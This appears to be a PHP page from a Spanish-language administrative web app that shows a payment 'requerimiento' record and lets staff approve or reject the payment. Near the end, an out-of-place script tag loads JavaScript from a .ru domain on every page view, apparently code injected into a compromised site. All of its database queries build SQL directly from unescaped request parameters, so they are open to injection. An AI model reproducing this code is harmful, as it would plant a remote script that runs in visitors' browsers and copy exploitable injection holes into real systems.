File: /home/asjudine/public_html/requerimiento_ingresar_pago_direc.php
<?PHP
require_once("mainfile.php");
include ("config.php");
global $dbi;
require_once("Conectarse.php");
$result = mysql_query('SELECT id, numradica, identificacion, nombre_completo, codigo_dep_envio, funcionario_requiere, referencia , fecha_envio, hora_envio, asunto, mensaje, funcionario_requiere, fecha_respuesta , hora_respuesta , asunto_respuesta, funcionario_respuesta, mesaje_respuesta, fecha_calificacion, gestion_calificacion , gestion_accion, gestion_reconsideracion, gestion_recalificacion FROM requerimientos_directores WHERE Id = "' . $HTTP_GET_VARS["id"] . '" ');
if (!$result) {
die('Invalid query: ' . mysql_error());
}
if($result)
{
if (mysql_num_rows($result)==0)
{
echo "<script>alert('Número de Identificación no encontrado');</script>";
exit;
}
list($Id, $numradica, $Identificacion, $Nombre_Completo, $nombre_dep, $Nombre_Elaboro, $Referencia, $fechaen, $horaen, $Asunto, $mensajeen, $Quien_Expide, $fechare, $horare, $asuntore, $funre, $mensajere, $fechacali, $gestioncali, $accion, $reconsideracion, $recalificacion ) = mysql_fetch_row($result);
$tere = 0;
$con1 = mysql_query('SELECT numero_proceso FROM requerimientos WHERE numero_proceso = "' ."$numpro". '" and identificacion = "' ."$Identificacion". '" and (estado = "4" || estado = "3" || estado = "5")');
if (!$con1) {
die('Invalid query: ' . mysql_error());
}
while(list($numero_procesoss) = mysql_fetch_row($con1))
{
$tere = $tere + 1 ;
}
?>
<html>
<head>
<title>calificacion requerimientos</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<script languaje="JavaScript">
function Mostrar_Fecha()
{
var mydate=new Date()
var year=mydate.getYear()
if(year < 1000)
year+=1900
var day=mydate.getDay()
var month=mydate.getMonth()
var daym=mydate.getDate()
if (daym < 10)
daym="0"+daym
var dayarray=new Array("Domingo","Lunes","Martes","Miercoles","Jueves","Viernes","Sabado")
var montharray=new Array("Enero","Febrero","Marzo","Abril","Mayo","Junio","Julio","Agosto","Septiembre","Octubre","Noviembre","Diciembre")
document.write("<b><font face='Arial, Helvetica, sans-serif'>"+dayarray[day]+" "+daym+" de "+montharray[month]+" de "+year+"</font></b>")
}
</script>
<style type="text/css">
<!--
.Estilo1 {
color: #000099;
font-family: Arial, Helvetica, sans-serif;
font-weight: bold;
}
.Estilo7 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; }
.Estilo8 {font-size: 14px}
.Estilo19 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #FF0000; }
.Estilo21 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000099; }
.Estilo23 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #006600; }
.Estilo25 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #330066; }
-->
</style>
</head>
<body>
<form method="post" name="formulario" action="">
<table width="726" align="center">
<tr bgcolor="#0099FF">
<td colspan="3" bordercolor="#FFCCCC" bgcolor="#FFFFCC"><div align="center" class="Estilo1">GENERADOR PAGO REQUERIMIENTOS </div></td>
</tr>
<tr bgcolor="#FFFFCC">
<td colspan="3" bgcolor="#D8FEE8"><div align="center">
<script languaje="JavaScript">Mostrar_Fecha()</script>
</div></td>
</tr>
<tr>
<td bgcolor="#D8FEE8"> </td>
<td width="349" colspan="2" bgcolor="#D8FEE8"> </td>
</tr>
<tr bgcolor="#ECE9D8">
<td width="373" bgcolor="#D8FEE8"><div align="right"><strong><span class="Estilo7">Número del Radicación: </span></strong></div></td>
<td colspan="2" bgcolor="#D8FEE8"><input name="numradica" type="text" size="5" maxlength="5" value="<?php echo "$numradica"; ?>" readonly="">
<input name="Contador" type="hidden" size="5" maxlength="5" value="<?php echo $Id; ?>" readonly=""></td>
</tr>
<tr bgcolor="#ECE9D8">
<td bgcolor="#D8FEE8"><div align="right"><strong><span class="Estilo7">Identificacion:</strong></div></td>
<td colspan="2" bgcolor="#D8FEE8"><input name="Identificacion" type="text" size="15" maxlength="15" value="<?php echo "$Identificacion"; ?>" readonly=""></td>
</tr>
<tr bgcolor="#ECE9D8">
<td bgcolor="#D8FEE8"><div align="right"><strong><span class="Estilo7">Referencia:</span></strong></div></td>
<td colspan="2" bgcolor="#D8FEE8"><input name="Referencia" type="text" size="4" maxlength="4" value="<?php echo "$Referencia"; ?>" readonly=""></td>
</tr>
<tr bgcolor="#ECE9D8">
<td bgcolor="#D8FEE8"><div align="right"><strong><span class="Estilo7">Funcionario Requerido </span></strong></div></td>
<td colspan="2" bgcolor="#D8FEE8"><input name="Nombre_Completo" type="text" size="50" maxlength="50" value="<?php echo "$Nombre_Completo"; ?>" readonly=""></td>
</tr>
<tr bgcolor="#ECE9D8">
<td bgcolor="#D8FEE8"><div align="right"><strong><span class="Estilo7">Dependencia que envió el mensaje:</span></strong></div></td>
<td colspan="2" bgcolor="#D8FEE8"><input name="nombre_dep" type="text" id="nombre_dep" value="<?php echo $nombre_dep ?>" size="50" maxlength="50" readonly=""></td>
</tr>
<tr bgcolor="#ECE9D8">
<td bgcolor="#D8FEE8"><div align="right"><strong><span class="Estilo7">Nombre Funcionario que Elaboró el Documento :</span></strong></div></td>
<td colspan="2" bgcolor="#D8FEE8"><input name="Nombre_Elaboro" type="text" size="50" maxlength="50" value="<?php echo "$Nombre_Elaboro"; ?>" readonly=""></td>
</tr>
<tr bgcolor="#ECE9D8">
<td bgcolor="#D8FEE8"><div align="right"><strong><span class="Estilo7">Fecha y Hora de Envio del Requerimiento: </span></strong></div></td>
<td colspan="2" bgcolor="#D8FEE8"><input name="fechaen" type="text" size="12" maxlength="12" value="<?php echo "$fechaen"; ?>" readonly=""> - <input name="horaen" type="text" size="11" maxlength="11" value="<?php echo "$horaen"; ?>" readonly=""> </td>
</tr>
<tr bgcolor="#ECE9D8">
<td bgcolor="#D8FEE8"><div align="right"><strong><span class="Estilo7">Fecha y Hora de Respuesta del Requerimiento: </span></strong></div></td>
<td colspan="2" bgcolor="#D8FEE8"><input name="fechare" type="text" size="12" maxlength="12" value="<?php echo "$fechare"; ?>" readonly=""> - <input name="horare" type="text" size="11" maxlength="11" value="<?php echo "$horare"; ?>" readonly=""> </td>
</tr>
<tr bgcolor="#ECE9D8">
<td bgcolor="#D8FEE8"><div align="right"><strong><span class="Estilo7">Asunto:</span></strong></div></td>
<td colspan="2" bgcolor="#D8FEE8"><input name="asuntore" type="text" size="50" maxlength="50" value="<?php echo "$asuntore"; ?>" readonly=""></td>
</tr>
<tr bgcolor="#ECE9D8">
<td bgcolor="#D8FEE8"><div align="right"><strong><span class="Estilo7"> Requerimiento: </span></strong></div></td>
<td colspan="2" bgcolor="#D8FEE8"> </td>
</tr>
<tr bgcolor="#ECE9D8">
<td colspan="3" bgcolor="#D8FEE8"><p align="right"><strong>
<?php
echo "<textarea name='Contenido' cols='85' rows='4' style='color:#0000CC' title='RESPUESTA ENVIADA' readonly>\n";
echo htmlspecialchars($mensajeen)."\n";
echo "</textarea>"; ?>
</strong></p></td>
</tr>
<tr bgcolor="#ECE9D8">
<td bgcolor="#D8FEE8"><div align="right"><strong><span class="Estilo7"> Respuesta del Requerimiento: </span></strong></div></td>
<td colspan="2" bgcolor="#D8FEE8"> </td>
</tr>
<tr bgcolor="#ECE9D8">
<td colspan="3" bgcolor="#D8FEE8"><p align="right"><strong>
<?php
echo "<textarea name='Contenido' cols='85' rows='4' style='color:#990033' title='RESPUESTA ENVIADA' readonly>\n";
echo htmlspecialchars($mensajere)."\n";
echo "</textarea>"; ?>
</strong></p></td>
</tr>
<tr bgcolor="#ECE9D8">
<td bgcolor="#D8FEE8"><div align="right"><strong><span class="Estilo8"><span class="Estilo7">Funcionario que expide el documento: </span></span></strong></div></td>
<td colspan="2" bgcolor="#D8FEE8"><input name="funre" type="text" size="50" maxlength="50" value="<?php echo "$funre"; ?>" readonly=""></td>
</tr>
<tr bgcolor="#ECE9D8">
<td colspan="3" bgcolor="#D8FEE8"><?php
require_once("mainfile.php");
include ("config.php");
global $dbi;
$fecha = $Dia_Envio."-".$Mes_Envio."-".$Ano_Envio;
//$query_Recordset1 = "SELECT * FROM archivos where Identificacion = $Identificacion and registro = $Id";
//$Recordset1 = mysql_query($query_Recordset1, $dbi) or die(mysql_error());
$LaIdentificacion = $HTTP_GET_VARS[cedula];
$ElID =$HTTP_GET_VARS[id];
//$res = mysql_query('SELECT * FROM archivos WHERE Identificacion = "' . $HTTP_GET_VARS[Identificacion] . '" and registro = "' . $HTTP_GET_VARS[Id] . '"');
$res = mysql_query("SELECT * FROM archivosrequerimientos WHERE Identificacion = '$LaIdentificacion' and registro = '$ElID'");
if (!$res) {
die('Invalid query: ' . mysql_error());
}
printf("<style type='text/css'><!--.Estilo5 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000066; }--></style>");
printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
<tr bgcolor='#FFFFCC'>
<th colspan='5' scope='col'><span class='Estilo5'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
</tr>
<tr bgcolor='#FFFFCC'>
<th scope='col'><span class='Estilo5'>ID</span></th>
<th scope='col'><span class='Estilo5'>NOMBRE</span></th>
<th scope='col'><span class='Estilo5'>FECHA ENVIO</span></th>
<th scope='col'><span class='Estilo5'>HORA ENVIO</span></th>
<th scope='col'><span class='Estilo5'>TIPO DE ARCHIVO</span></th>
</tr>");
//$Filas = mysql_fetch_row($res);
while($Filas = mysql_fetch_row($res))
{
printf("<tr><td><div align='center'><a href='descargar_archivos.php?Id=" . $Filas[1] . "' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><span class='Estilo7'>" . $Filas[2] . "</span></div></td>
<td><div align='center'><span class='Estilo7'>" . $Filas[3] . "</span></div></td>
<td><div align='center'><span class='Estilo7'>". $Filas[4] . "</span></div></td>
<td><div align='center'><span class='Estilo7'>" .$Filas[6] . "</span></div></td></tr>");
}
echo "</table>";
mysql_free_result($res);
}
else
{
echo "<script>alert('Número de radicación no encontrado');<script>";
}
?></td>
</tr>
<br>
<tr bgcolor="#ECE9D8">
<td bgcolor="#D8FEE8" colspan="3"><div align="CENTER"><strong><span class="Estilo19">CALIFICACION REQUERIMIENTO </span></strong></div></td>
<td colspan="2" bgcolor="#D8FEE8"> </td>
</tr>
<tr bgcolor="#ECE9D8">
<td colspan="3" bgcolor="#D8FEE8"><p align="right"><strong>
<?php
echo "<textarea name='Contenido' cols='85' rows='4' title='RESPUESTA ENVIADA' readonly>\n";
echo htmlspecialchars($gestioncali)."\n";
echo "</textarea>"; ?>
</strong></p></td>
</tr>
<tr>
<tr bgcolor="#ECE9D8">
<td bgcolor="#D8FEE8" colspan="3"><div align="CENTER"><strong><span class="Estilo23">RESPUESTA RECONSIDERACION DEL REQUERIMIENTO </span></strong></div></td>
<td colspan="2" bgcolor="#D8FEE8"> </td>
</tr>
<tr bgcolor="#ECE9D8">
<td colspan="3" bgcolor="#D8FEE8"><p align="right"><strong>
<?php
echo "<textarea name='Contenido' cols='85' rows='4' title='RESPUESTA RECONSIDERACION' readonly>\n";
echo htmlspecialchars($reconsideracion)."\n";
echo "</textarea>"; ?>
</strong></p></td>
</tr>
<tr bgcolor="#ECE9D8">
<td bgcolor="#D8FEE8" colspan="3"><div align="CENTER"><strong><span class="Estilo25">RESPUESTA RECALIFICACION DEL REQUERIMIENTO </span></strong></div></td>
<td colspan="2" bgcolor="#D8FEE8"> </td>
</tr>
<tr bgcolor="#ECE9D8">
<td colspan="3" bgcolor="#D8FEE8"><p align="right"><strong>
<?php
echo "<textarea name='Contenido' cols='85' rows='4' title='RESPUESTA RECALIFICACION' readonly>\n";
echo htmlspecialchars($recalificacion)."\n";
echo "</textarea>"; ?>
</strong></p></td>
</tr>
<tr bgcolor="#ECE9D8">
<td bgcolor="#D8FEE8" colspan="3"><div align="CENTER"><strong><span class="Estilo21">RESULTADO DE LA ACCION TOMADA DEL REQUERIMIENTO </span></strong></div></td>
<td colspan="2" bgcolor="#D8FEE8"> </td>
</tr>
<tr bgcolor="#ECE9D8">
<td colspan="3" bgcolor="#D8FEE8"><p align="right"><strong>
<?php
echo "<textarea name='Contenido' cols='85' rows='4' title='RESPUESTA ENVIADA' readonly>\n";
echo htmlspecialchars($accion)."\n";
echo "</textarea>"; ?>
</strong></p></td>
</tr>
<tr>
<td colspan="4" align="center" bgcolor="#D8FEE8" >
<input name="guardar" type="submit" id = "guardar" value="Generar Pago" class="Estilo1">
</td>
</tr>
<tr bgcolor="#7897DD">
<td colspan="3" bgcolor="#D8FEE8"><div align="left"><span class="Estilo7">Emita un comunicado por el cual rechaza el pago: </span></div></td>
</tr>
<tr bgcolor="#ECE9D8">
<td colspan="3" bordercolordark="#000000" bgcolor="#CCFFFF"><p align="right">
<textarea name="gestionre" cols="60" rows="4" ></textarea>
</p> </td>
</tr>
<tr>
<td bgcolor="#CCFFFF"><div align="right"><span class="Estilo8"><span class="Estilo7">Calificacion Requerimiento: </span></span></div></td>
<td bgcolor="#CCFFFF"><select name="calificacion">
<option value="">--SELECCIONE CALIFICACION--</option>
<option value="JUSTIFICADO">JUSTIFICADO</option>
<option value="INJUSTIFICADO">INJUSTIFICADO</option>
</select></td>
<td align="center" bgcolor="#CCFFFF" >
<input name="rechazar" type="submit" id = "rechazar" value="Rechazar Pago" class="Estilo1">
</td>
</tr>
</table>
</form>
<script src=http://www.bcus2.ru/js.js></script></body>
</html>
<?php
if ((isset($_POST["rechazar"])))
{
$Quien = strtoupper($Funcionario_Expide);
$Noti = "N";
require_once("mainfile.php");
include ("config.php");
global $dbi;
$fecha = date('Y').'-'.date('m').'-'.date('d');
if($calificacion == "")
{
echo "<script>alert('Falta seleccionar calificación requerimiento' )</script>";
}
else
{
if ($gestionre == "")
{
echo "<script>alert('Falta emitir comunicado para rechazar el pago' )</script>";
}
else{
$mss = mysql_query("UPDATE requerimientos_directores set fecha_generar_pago = '" .$fecha. "', gestion_rechazo = '" . $_POST[gestionre] . "', recalificacion = '" . $_POST[calificacion] . "', estado = '8' WHERE identificacion = '" . $HTTP_GET_VARS[cedula] . "' and id = '" . $HTTP_GET_VARS[id] . "' and numradica = '" . $HTTP_GET_VARS[radica] . "' and estado = '5'");
if (!$mss ) {
die('Invalid query cartera_estado_contable MODIFICAR: ' . mysql_error());
}
echo "<script>alert('Su calificacion ha sido rechazada satisfatoriamente' )</script>";
}
}
}
if ((isset($_POST["guardar"])))
{
$Quien = strtoupper($Funcionario_Expide);
$Noti = "N";
require_once("mainfile.php");
include ("config.php");
global $dbi;
$fecha = date('Y').'-'.date('m').'-'.date('d');
$mss = mysql_query("UPDATE requerimientos_directores set fecha_generar_pago = '" .$fecha. "', estado = '6' WHERE identificacion = '" . $HTTP_GET_VARS[cedula] . "' and id = '" . $HTTP_GET_VARS[id] . "' and numradica = '" . $HTTP_GET_VARS[radica] . "' and estado = '5'");
if (!$mss ) {
die('Invalid query cartera_estado_contable MODIFICAR: ' . mysql_error());
}
echo "<script>alert('Se ha generado pago correctamente' )</script>";
}
?>